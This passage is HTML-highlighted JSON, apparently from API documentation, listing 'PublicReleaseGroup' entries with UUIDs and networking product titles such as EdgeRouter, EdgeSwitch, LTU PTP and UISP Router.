style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"6ab3d43d-9759-4866-976b-79e75db2e3b6"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"EdgePower"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"449d1a25-b4a2-454f-a5da-4e3744118c5d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"EdgeRouter"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"d1d3a977-bc98-4099-9c0e-910ef6f3f21e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"EdgeSwitch"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"8f59ab8a-79e7-4b29-8b96-a4933ef99996"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"EdgeSwitch X"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"3b60ad30-9cdc-41d0-8e63-534562f11df2"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"EdgeSwitch XP"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"aa8e2c7e-5a27-4853-97dd-4ab4300976d6"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"GigaBeam"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"2146fb90-6e23-4900-a076-99e94a18b8fe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ISP Design Center"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"bf895d7e-f72f-4f98-a5fd-9fabfea82007"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"LTU PTMP"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"522c4748-a972-4909-a5f1-57cc3cd1082e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"LTU PTP"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f3f45fa2-1784-4594-b48d-28baf317b208"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Security"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"01f03784-8c19-4115-b051-2e501e2348ab"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"SFP Wizard"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"177eab01-4040-40ba-a8ca-8d97353e3cad"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Site Manager"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"8f720e85-0935-4114-b0da-4109483e2286"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"SolarPoint / SolarSwitch"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"cf259b77-d3cf-4aae-8e12-77e4f1b23aea"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Ubiquiti Portal Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f912e31c-dc68-4772-aafc-531d1cd5dc86"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Ubiquiti Portal iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"a783b992-9586-43b1-8184-16b875542d19"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UFiber"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f56b294f-e76f-41a4-ba6f-dfdde57f9de0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UID Enterprise"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"eb7e43bf-9bf1-4f96-8212-5ce0caa4c234"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UID Enterprise Agent"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ab08eb1d-fb3c-4ce2-9e7d-1f2db9fb5a1a"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UID Enterprise Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ce5b6145-f752-4a94-b72a-5abcbee947c0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UID Enterprise iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"65fd0ebc-af82-4117-92d5-62731874aaff"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UID Enterprise macOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ededdb04-6f6d-41ac-8b9e-01265cdf7203"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UID Enterprise Windows"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ff938aa4-bc58-49da-b9f6-2fc48b875ab0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UISP Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"13723af7-56c4-4eba-9f9a-d73afd38385b"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UISP Console"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"7183512f-a826-4faf-9836-1463af4c25fd"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UISP Power"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f8632960-6fe5-4eea-b322-c6679f4ec103"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UISP Router"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"8c88e358-53d8-45c6-8fea-690511b02cbe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UISP Switch"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" 